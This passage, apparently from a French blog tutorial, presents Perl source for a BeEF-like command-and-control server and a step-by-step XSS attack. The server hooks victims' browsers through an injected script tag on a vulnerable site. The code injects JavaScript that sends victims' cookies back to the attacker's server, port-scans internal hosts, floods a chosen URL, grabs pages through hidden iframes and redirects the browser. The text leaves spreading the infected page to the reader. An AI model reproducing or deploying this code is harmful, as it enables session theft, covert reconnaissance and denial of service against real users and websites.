 739:     if(defined($ACTIONS{$SESSIONS{$botSessionID}->[0]}) && 
 740:         ( $SESSIONS{$botSessionID}->[0] eq "Custom"
 741:             || $SESSIONS{$botSessionID}->[0] eq "Alert"
 742:             || $SESSIONS{$botSessionID}->[0] eq "Portscan"
 743:             || $SESSIONS{$botSessionID}->[0] eq "GetPage")
 744:             ) {
 745:         $SESSIONS{$botSessionID}->[0] = "Idle";
 746:         $SESSIONS{$botSessionID}->[1] = '';
 747:     }
 748:     
 749: }
 750:  
 751: ##### Injection Pages - END #########
 752:  
 753:  
 754:  
 755: ##### Injection Scripts - START #######
 756:  
 757: sub initSessionCode {
 758:  
 759:     my ($sessionID) = @_;
 760:     
 761:     my $script_code;
 762:     
 763:     $script_code .= "function connectCC(retval) {"."\n";
 764:     $script_code .= " var URL= 'http://".$ARGS{"REMOTEIP"}.":".$ARGS{"PORT"}.$ARGS{"INJECT"}."?".$ARGS{"SESSION"}."=".$sessionID."';"."\n";
 765:     $script_code .= " if(retval) { URL = URL+'\&return='+retval; } "."\n";
 766:     $script_code .= " var scriptTag = document.getElementById('loadScript');"."\n";
 767:     $script_code .= " var head = document.getElementsByTagName('head').item(0);"."\n";  
 768:     $script_code .= " if(scriptTag) head.removeChild(scriptTag);"."\n";  
 769:     $script_code .= " script = document.createElement('script');"."\n";
 770:     $script_code .= " script.src = URL;"."\n";
 771:     $script_code .= " script.type = 'text/javascript';"."\n";
 772:     $script_code .= " script.id = 'loadScript';"."\n";
 773:     $script_code .= " head.appendChild(script);"."\n";
 774:     $script_code .= "}"."\n";    
 775:     $script_code .= "var sessionID='".$sessionID."';"."\n";
 776:     $script_code .= "setInterval('connectCC()',".$ARGS{"HEARTBEAT"}.");"."\n";
 777:     
 778:     
 779:     return $script_code;
 780:     
 781: }
 782:     
 783: sub actionRedirect {
 784:  
 785:     my ($params) = @_;
 786:     
 787:     my $code;
 788:     
 789:     $code .= "var returnValue = window.location='".&URLDecode($params)."';\n";
 790:     
 791:     return $code;
 792:     
 793: }    
 794:  
 795: sub actionAlert {
 796:  
 797:     my ($params) = @_;
 798:     
 799:     my $code;
 800:     
 801:     $code .= "var returnValue = alert('".$params."');\n";
 802:     
 803:     return $code;
 804:     
 805: }    
 806:  
 807: sub actionCustom {
 808:  
 809:     my ($params) = @_;
 810:     
 811:     my $code;
 812:     
 813:     $code .= "var returnValue = ".&URLDecode($params).";\n";
 814:     $code .= "connectCC(returnValue);"."\n";
 815:     
 816:     return $code;
 817:     
 818: }    
 819:  
 820: sub actionPortscan {
 821:  
 822:     my ($params) = @_;
 823:     my ($target,$port,$timeout) = split(/\+/,$params);
 824:     
 825:     if(!$timeout) { $timeout = 100; }
 826:     
 827:     my $code;
 828:         
 829:     $code .= "var img = new Image();"."\n";
 830:     $code .= "var open = 0;"."\n";
 831:     $code .= "img.onerror = function () { open = 1; };"."\n";    
 832:     $code .= "img.onload = img.onerror;"."\n";
 833:     $code .= "img.src = 'http://' + '".$target."' + ':' + '".$port."';"."\n";
 834:     $code .= "setTimeout(function () {"."\n";
 835:     $code .= " if (open) { connectCC(\'".$target."/".$port.":open\'); }"."\n";    
 836:     $code .= " else { connectCC(\'".$target."/".$port.":closed\'); }"."\n";
 837:     $code .= "}, ".$timeout.");"."\n";        
 838:     
 839:     return $code;
 840:     
 841: };
 842:  
 843: sub actionFlood {
 844:  
 845:     my ($params) = @_;
 846:     
 847:     my $code;
 848:     
 849:     $code .= "function flood() {"."\n";
 850:     $code .= " var img = new Image();"."\n";
 851:     $code .= " img.src = '".&URLDecode($params)."';"."\n";
 852:     $code .= " img.onload;"."\n";
 853:     $code .= "}"."\n";
 854:     $code .= "var floodInterval = setInterval('flood()',50);"."\n";
 855:     $code .= "setTimeout(function() { clearInterval(floodInterval); },".($ARGS{"HEARTBEAT"}-500).");"."\n";
 856:     
 857:     return $code;
 858:     
 859: }
 860:  
 861: sub actionCookies {
 862:  
 863:     my ($params) = @_;
 864:     
 865:     my $code;
 866:     
 867:     $code .= "var returnValue = document.cookie,".";\n";
 868:     $code .= "connectCC(returnValue);"."\n";
 869:     
 870:     return $code;
 871:     
 872: }
 873:  
 874: sub actionIdle {
 875:  
 876:     my ($params) = @_;
 877:     
 878:     ;
 879:     
 880: }
 881:  
 882: ## ABORTED. For now...
 883: #
 884:  
 885: sub actionGetPage {
 886:  
 887:     my ($params) = @_;
 888:     
 889:     my $code;
 890:     
 891:     $code .= "function sendContent() {"."\n";
 892:     $code .= " var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
 893:     $code .= " connectCC(targetContent);"."\n";
 894:     $code .= "}"."\n";    
 895:     $code .= "var iframeTag = document.getElementById('grabFrame');"."\n";    
 896:     $code .= "if(iframeTag) { document.body.removeChild(iframeTag); }"."\n";  
 897:     $code .= "var iframeObj = document.createElement('IFRAME');"."\n";
 898:     $code .= "iframeObj.src = '".&URLDecode($params)."';"."\n";    
 899:     $code .= "iframeObj.name = 'grabFrame';"."\n";
 900:     $code .= "iframeObj.id = 'grabFrame';"."\n";
 901:     $code .= "iframeObj.height=0;"."\n";
 902:     $code .= "iframeObj.width=0;"."\n";
 903:     $code .= "document.body.appendChild(iframeObj);"."\n";    
 904:     $code .= "var targetContent = window.frames['grabFrame'].document.body.innerHTML;"."\n";
 905:     $code .= "if(targetContent == null) {"."\n";
 906:     $code .= "  targetContent = document.getElementById('grabFrame').contentDocument.body.innerHTML;"."\n";
 907:     $code .= "}"."\n";
 908:     
 909:     #$code .= "alert(targetContent);"."\n";
 910:     #$code .= " connectCC(targetContent);"."\n";
 911:     $code .= "setTimeout(\"connectCC(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";        
 912:     #$code .= "setTimeout(\"alert(targetContent)\",".$ARGS{"LOADTIMER"}.");"."\n";    
 913:  
 914:     ;
 915:     
 916: }
 917:  
 918: #
 919: ## But I will be back...
 920:  
 921: ##### Injection Scripts - END #########
 922:  
 923: ##### Default Page #####
 924: sub defaultPage {
 925:  
 926:     my ($c_socket,$client_ref,$request_ref) = @_;
 927:     
 928:     my $response;
 929:     $response .= genHeader("200","text/html");
 930:     $response .= "\n";
 931:     $response .= "<HTML><HEAD></HEAD><BODY>You should probably not be here...</BODY></HTML>\n";
 932:     print $c_socket $response;
 933:  
 934:  
 935: }
 936:  
 937:  
 938:  
 939: sub genHeader {
 940:  
 941:     my ($response_code,$response_type) = @_;
 942:     
 943:     my $response_text = $HTTP_RESPONSE{$response_code};
 944:     
 945:     my $header;
 946:     
 947:     $header = "HTTP/1.1 $response_code $response_text\n";
 948:     $header .= "Content-Type: $response_type\n";
 949:     $header .= "Cache-control: no-cache\n";
 950:     $header .= "\n";
 951:     
 952:     return $header;
 953:     
 954: }
 955:  
 956:  
 957:  
 958:     
 959:  
 960:  
 961: ##### Generic Functions - START ####
 962:  
 963: sub displayUsage {
 964:  
 965:     print "Looser...\n";
 966:     
 967: }
 968:  
 969: sub getSessionID {
 970:  
 971:     my $sessionIDlength = 10;
 972:     my @values = (0 .. 9,A .. Z);
 973:     my $sessionID;
 974:     for(my $i=0; $i<= $sessionIDlength; $i++) {
 975:         $sessionID .= $values[int(rand(36))];
 976:     }
 977:     
 978:     return $sessionID;
 979:     
 980: }
 981:  
 982: sub URLDecode {
 983:  
 984:     my ($url) = @_;
 985:     
 986:     $url =~ s/%([a-fA-F0-9]{2})/chr(hex($1))/eg;
 987:     
 988:     return $url;
 989: }
 990:  
 991: sub buildURI {
 992:  
 993:     my ($req_ref) = @_;
 994:     
 995:     my $uri;
 996:     my $resource = $req_ref->[1]->[0];
 997:     my $arguments;
 998:     my $arguments_ref = $req_ref->[1]->[1];
 999:     
1000:     while(my($arg,$value) = each(%$arguments_ref)) {
1001:         $arguments .= "\&".$arg."=".$value;
1002:     }
1003:     $arguments =~ s/^&//;
1004:     
1005:     $uri = $resource."?".$arguments;
1006:     
1007:     return $uri;
1008:     
1009: }
1010:                     
1011: ##### Generic Functions - END ######    

Puis on lance le serveur sur le port 81:


image


Et on accède à la page d’administration:


image


Phase II: le site web vulnérable


On choisit un site web en rapport avec notre scénario contenant une faille XSS. Ce site web sera le vecteur de notre payload.


image


Phase III: le payload XSS


Le payload contenant le lien vers l’injecteur de script dans notre page web peut être le suivant:



   1: <script src="http://localhost:81/inject"></script>

Pour information le script injecté est:



   1: function connectCC(retval) {
   2:  var URL= 'http://PROXIA0:81/inject?sessionID=7BJLE7MY26R';
   3:  if(retval) { URL = URL+'&return='+retval; } 
   4:  var scriptTag = document.getElementById('loadScript');
   5:  var head = document.getElementsByTagName('head').item(0);
   6:  if(scriptTag) head.removeChild(scriptTag);
   7:  script = document.createElement('script');
   8:  script.src = URL;
   9:  script.type = 'text/javascript';
  10:  script.id = 'loadScript';
  11:  head.appendChild(script);
  12: }
  13: var sessionID='7BJLE7MY26R';
  14: setInterval('connectCC()',6500);
  15: 1

Phase IV: la diffusion de la page web infectée


Cette phase est laissée à l’appréciation du lecteur. Vos propositions sont les bienvenues.


Phase V: la collecte des résultats


On peut configurer notre serveur C&C pour effectuer une action dès que le browser de la victime est “hooké”. Ici on choisit d’afficher un message dans le browser:


image


La victime clique sur le lien et voit le message:


image


Dès que le browser est “hooké” on le voit apparaître sur notre page d’administration. On peut alors effectuer un certain nombre d’actions. Ici on choisit de rediriger la page web vers un autre lien:


image


Vous avez maintenant dans les mains un outil vous permettant de développer vos propres actions…légales bien sûr!


Remarque: la ressemblance avec BeEF ne vous a pas échappé…


Source : Merci à @edgtslfcbngq6sk

Partager avec...